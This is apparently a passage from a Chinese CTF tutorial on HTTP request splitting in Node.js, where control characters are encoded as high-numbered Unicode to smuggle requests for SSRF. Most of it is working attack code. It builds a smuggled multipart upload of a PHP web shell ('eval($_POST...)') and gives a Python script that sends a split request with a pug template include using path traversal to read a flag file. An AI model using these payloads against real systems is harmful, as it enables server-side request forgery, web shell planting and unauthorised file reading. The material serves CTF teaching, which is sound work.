> http.get('http://47.xxx.xxx.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。
但是有一个问题,就是当我们将这个请求包里面的所有的字符包括控制字符全部用高编号Unicode码表示的话,最终生成的 Payload 的长度可能会过长,有对于有些服务器来说,如果我们请求的 URL 长度超过了限制的长度之后会报错。而且有的题目还需要对 Payload 进行 URL 编码甚至二次或三次编码,这样 Payload 的长度就更长了,所以我们还是建议只将那些控制字符用高编号Unicode编码就行了。编写新的 Payload 转换脚本:
payload = ''' HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4 Connection: close ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6-- GET / HTTP/1.1 test:'''.replace("\n","\r\n") payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ print(payload) # 输出: ĠHTTP/1.1čĊčĊPOSTĠ/upload.phpĠHTTP/1.1čĊHost:Ġ127.0.0.1čĊContent-Length:Ġ437čĊContent-Type:Ġmultipart/form-data;Ġboundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6čĊUser-Agent:ĠMozilla/5.0Ġ(WindowsĠNTĠ10.0;ĠWin64;Ġx64)ĠAppleWebKit/537.36Ġ(KHTML,ĠlikeĠGecko)ĠChrome/90.0.4430.72ĠSafari/537.36čĊAccept:Ġtext/html,application/xhtmlīxml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9čĊAccept-Encoding:Ġgzip,ĠdeflatečĊAccept-Language:Ġzh-CN,zh;q=0.9čĊCookie:ĠPHPSESSID=nk67astv61hqanskkddslkgst4čĊConnection:ĠclosečĊčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢMAX_FILE_SIZEĢčĊčĊ100000čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢuploadedĢ;Ġfilename=Ģshell.phpĢčĊContent-Type:Ġapplication/octet-streamčĊčĊ<?phpĠeval($_POSTśĢwhoamiĢŝ);?>čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢUploadĢčĊčĊUploadčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6--čĊčĊGETĠ/ĠHTTP/1.1čĊtest:
其实主要就是将 \r\n
和空格进行编码,其他的字符如果是题目对他们做了过滤也可以自己加进去。最好是将所有的控制字符全部编码。
import urllib.parse import requests payload = ''' HTTP/1.1 POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810 Content-Length: 291 ----------------------------919695033422425209299810 Content-Disposition: form-data; name="file"; filename="abc.pug" Content-Type: ../template doctype html html head style include ../../../../../../../flag.txt ----------------------------919695033422425209299810-- GET /flag HTTP/1.1 x:''' payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) r = requests.get('http://a5424015-e9f0-4db0-9d84-472bda633e45.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload)) print(r.text)